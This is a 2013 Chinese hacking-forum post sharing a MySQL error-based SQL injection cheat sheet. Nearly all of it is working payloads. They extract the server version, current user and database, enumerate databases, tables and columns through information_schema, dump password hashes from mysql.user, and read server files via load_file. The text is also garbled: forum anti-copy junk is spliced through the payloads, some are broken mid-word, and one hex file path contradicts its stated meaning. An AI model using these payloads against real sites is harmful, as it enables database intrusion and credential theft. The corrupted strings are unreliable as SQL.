找回密码
 立即注册
查看: 2846|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
5 I5 O2 n6 D# R+ m) A& H' Y# S5 F& O( l0 |% r
2 U2 j0 z6 F# Z, B9 n9 c
Mysql暴错注入参考(pdf),每天一贴。。。- Z6 z  }9 j9 a! A, u- m, m/ u) ]  \
1 Y5 m6 v  \8 R/ `! e
MySql Error Based Injection Reference
9 F% {7 e, C! Q% T1 u+ O[Mysql暴错注入参考]
; x+ C, p2 d. V/ n) |Authornig0s1992
% ^1 w2 `% p  [Blog:http://pnig0s1992.blog.51cto.com/
2 E  I8 p& ~+ P* T' v8 Q$ fTeAm:http://www.FreeBuf.com/
9 ^$ H" N2 O: T0 B, B5 B: }Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
, ^! `, C0 N% d小部分版本使用name_const()时会报错.可以用给出的Method.2测试
# F$ u0 E0 M" Z6 l查询版本:7 S8 X; @. i+ a8 f: s" D! T, S: E
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+- G: N5 V4 A6 X8 H- u( G+ I8 M
join+(select+name_const(@@version,0))b)c)
# b! b2 V6 l& `, y0 R% ^& W: AMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro$ U* G# r' Q" I) n7 c* E
up by a)b)
$ _' D7 w# w4 f6 w. r查询当前用户:
* g* J( ]& I) t5 Z! Y( L! D: K7 sMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)5 K" B8 M+ G& j, S& [
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r+ t# f) `8 D, b0 @
and(0)*2))x+from+information_schema.tables+group+by+x)a)  W1 s) T# e* N7 {3 h5 F
查询当前数据库:
, D7 N: s8 j- T- Z. f5 ~. BMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
" Z9 V9 I! P" D5 G+ R& r  VMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo/ ]: v8 s1 x) E2 I! V
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a). B+ }# C( }7 a6 P( ?  Q
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+7 h, ^/ Y6 B7 {
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n5 n* {9 |6 F. ]2 }6 M
顺序替换5 f9 `0 ?* k% D7 y0 Z
爆指定库数目:
( {6 u. M. U, K: u. ]and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t7 r7 ?8 i. C+ g
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
% z" G0 {  T! [6 f8 k4 v2 G+by+x)a)+and+1=1 0x6D7973716C=mysql
% i8 k" ?- g, U依次爆表:5 Q5 {; b# ]. k6 K8 E$ F
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t) O7 `0 g2 b* w$ q
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
# Z' Z" t: k6 b0 |% ?! o' }bles+group+by+x)a)+and+1=1- `; `# D" C- X% d
0x6D7973716C=Mysql 将n顺序替换
- h* `  E: q8 ]2 T爆表内字段数目:8 g2 Z1 i2 X5 b* d& |
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE+ a/ M& F3 n; V
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
3 ?% f5 @) q% i- B( ]7 A1 q0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  ?6 @7 |- v3 h" Z- ]$ x# R' y
依次爆字段:
) i! v' ~# H. P0 f2 f8 @and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
( S5 `8 C. R: \$ N- }3 a( Y+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1+ P! n& [1 n. @' @$ P; ?
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
6 u" k2 s7 x3 c4 p2 \! q依次暴内容:9 p$ b% Q: l0 v9 E1 O
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche! Y, \+ ?0 c8 Z: Z5 Y9 b$ Z4 _
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1: v9 X; N: E7 \. K
将n顺序替换# e, X( J) Z; G) l3 x3 K
爆文件内容:+ @+ G; Q7 @# c- g1 I9 p
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
7 ~9 P( w# s& a* V; x) U" W9 [. i' Wfrom+information_schema.tables+group+by+a)b)
1 |: ?- [  f6 j& g3 w& n0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节5 [2 @0 ]  u/ V$ ]" l
Thx for reading.9 J+ J1 Y* D  x! N
  _: x% G" J5 s! K  }) L0 ~+ D
不要下载也可以,
/ X0 S6 w" ~4 g1 A  W9 G2 g

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表